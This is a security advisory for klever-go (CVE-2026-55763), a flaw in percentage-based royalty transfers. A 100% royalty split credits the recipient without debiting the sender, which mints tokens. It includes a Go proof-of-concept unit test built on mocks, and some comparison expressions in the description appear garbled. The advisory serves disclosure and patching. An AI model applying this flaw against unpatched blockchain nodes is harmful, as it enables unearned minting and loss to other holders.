GitHub Advisoryadvisory · Go

GHSA-v358-wf77-39xv klever-go: Percentage-transfer royalty skips the source debit at exactly-100% splits

HIGH Published 2026-08-28 Modified 2026-08-28 Official page ↗
Aliases
CVE-2026-55763
Ecosystem
Go
Packages
github.com/klever-io/klever-go
Severity
High
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Weaknesses
CWE-841
Reviewed
2026-08-28

Affected packages

• Go github.com/klever-io/klever-go: < 1.7.19-rc4 → fixed in 1.7.19-rc4

Description

Summary In `processPercentageRoyaltiesTransfer` the royalty pool is collected from the sender by `SubFromBalance` that is ordered after the split loop and after `if royaltiesToPay royaltiesToPay`), so a split entry of exactly 100% (`PercentTransferPercentage = 10000`) is a *valid* config: it drives `royaltiesToPay` to 0 and hits the early-return before the sender is debited. The split recipient keeps the full royalty; the sender pays nothing for it → mint. The sibling fixed-royalty path (`processFixedRoyaltiesTransfer`) debits the sender first and is safe. Only the percentage-transfer path collects and distributes in the same function with the collect placed after the early-return. Affected code • `core/kapp/accounts/accounts.go` — `processPercentageRoyaltiesTransfer`: split loop → `if royaltiesToPay Full Go PoC (core/kapp/accounts package, passes = mint confirmed) ```go package accounts import ( "bytes" "encoding/hex" "testing" "github.com/stretchr/testify/require" commonMock "github.com/klever-io/klever-go/common/mock" "github.com/klever-io/klever-go/core" "github.com/klever-io/klever-go/core/kapp" "github.com/klever-io/klever-go/data/block" "github.com/klever-io/klever-go/data/state" "github.com/klever-io/klever-go/data/transaction" integrationMock "github.com/klever-io/klever-go/integrationTest/mock" "github.com/klever-io/klever-go/kapps" kvmStub "github.com/klever-io/klever-go/kvm/mock/stub" ) // TestExploit_PercentRoyaltyZeroDebit proves the zero-debit mint: // processPercentageRoyaltiesTransfer credits the split recipient // inside the loop, then hits `if royaltiesToPay the recipient keeps royaltyAmount, the sender pays // nothing => mint. The sibling fixed path debits FIRST, so the 50% contrast case // (which does NOT early-return) confirms the debit fires and value is conserved. func TestExploit_PercentRoyaltyZeroDebit(t *testing.T) { const ( assetIDStr = "FUNGI-1234" transferValue = int64(800) royaltyRatePct = uint32(500) // 5% royaltyAmount = int64(40) // 800 * 5% = 40 ) assetID := []byte(assetIDStr) // 32-byte, non-zero-prefixed => not a smart-contract address, so the royalty // path is not short-circuited by core.IsSmartContractAddress. senderAddr := bytes.Repeat([]byte{0x11}, 32) // Split recipient address must be a valid hex string (computeSplitRoyalties // hex-decodes the map key). recipientAddr := bytes.Repeat([]byte{0x22}, 32) recipientKey := hex.EncodeToString(recipientAddr) royaltyReceiverAddr := bytes.Repeat([]byte{0x33}, 32) buildKDA := func(splitPercent uint32) *kapps.KDAData { return &kapps.KDAData{ AssetType: kapps.KDAData_Fungible, OwnerAddress: senderAddr, Royalties: &kapps.RoyaltiesData{ Address: royaltyReceiverAddr, TransferPercentage: []*kapps.RoyaltyData{ {Amount: 1000, Percentage: royaltyRatePct}, }, SplitRoyalties: map[string]*kapps.RoyaltySplitData{ recipientKey: {PercentTransferPercentage: splitPercent}, }, }, } } type runResult struct { subFromCalls int subFromAmount int64 addToRecipient int64 addToOwnerRem int64 resCode transaction.Transaction_TXResultCode err error } run := func(t *testing.T, splitPercent uint32) runResult { t.Helper() res := runResult{} // Sender: track whether/what the royalty debit hits. Holds plenty of the asset. acntSrc := &commonMock.UserAccountHandlerStub{ AddressBytesCalled: func() []byte { return senderAddr }, GetBalanceCalled: func(_ []byte, _ bool) int64 { return 1_000_000 }, SubFromBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error { res.subFromCalls++ res.subFromAmount += value return nil }, } // Destination is irrelevant to the royalty pool accounting here. acntDst := &commonMock.UserAccountHandlerStub{ AddressBytesCalled: func() []byte { return royaltyReceiverAddr }, } // Split recipient: capture the credit it receives. splitRecipient := &commonMock.UserAccountHandlerStub{ AddressBytesCalled: func() []byte { return recipientAddr }, AddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error { res.addToRecipient += value return nil }, } // Owner-remainder receiver (only credited when the path does NOT early-return). royaltyReceiver := &commonMock.UserAccountHandlerStub{ AddressBytesCalled: func() []byte { return royaltyReceiverAddr }, AddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error { res.addToOwnerRem += value return nil }, } cacher := &commonMock.AccountsCacherStub{ LoadUserCalled: func(address []byte) (state.UserAccountHandler, error) { if bytes.Equal(address, recipientAddr) { return splitRecipient, nil } if bytes.Equal(address, royaltyReceiverAddr) { return royaltyReceiver, nil } return acntSrc, nil }, GetExistingUserCalled: func(address []byte) (state.UserAccountHandler, error) { return royaltyReceiver, nil }, UpdateUserCalled: func(_ state.AccountHandler) error { return nil }, } // All relevant forks ON: KdaFpr (new royalty flow), EnableSmartContracts // (overflow-checked percentage math), and FixMarketBuyOverflow so the // fix-branch payout guard `splitToPay > royaltiesToPay` is ACTIVE. fc := &integrationMock.ForkControllerStub{ KdaFprCalled: func() bool { return true }, EnableSmartContractsCalled: func() bool { return true }, FixMarketBuyOverflowCalled: func() bool { return true }, } kappController := &kvmStub.KAppControllerStub{ GetCurrentKAppContextCalled: func() kapp.KappContext { return kapp.NewKappContext(kapp.ArgsNewKAppContext{ OriginalSender: senderAddr, ContractID: 0, ContractType: transaction.TXContract_TransferContractType, Block: &block.Block{}, }) }, } a := &accountsKapp{ accountsCacher: cacher, forkController: fc, KAppController: kappController, } tc := &transaction.TransferContract{ Amount: transferValue, KDARoyalties: royaltyAmount, // must match the computed pool (accounts.go line 429) } kda := buildKDA(splitPercent) res.resCode, res.err = a.processPercentageRoyaltiesTransfer( tc, assetID, nil, acntSrc, acntDst, kda, ) return res } // ---- 100% split: the exploit. Recipient credited, sender NEVER debited. ---- t.Run("split_100pct_mints", func(t *testing.T) { r := run(t, core.HundredPercent) // 10000 == exactly 100%, a VAL…

Related

Alias · CVE (1)

  • CVE-2026-55763 Klever-Go is the Go implementation of the Klever blockchain protocol. vulnerability

Weakness · CWE (1)

  • CWE-841 Improper Enforcement of Behavioral Workflow weakness

References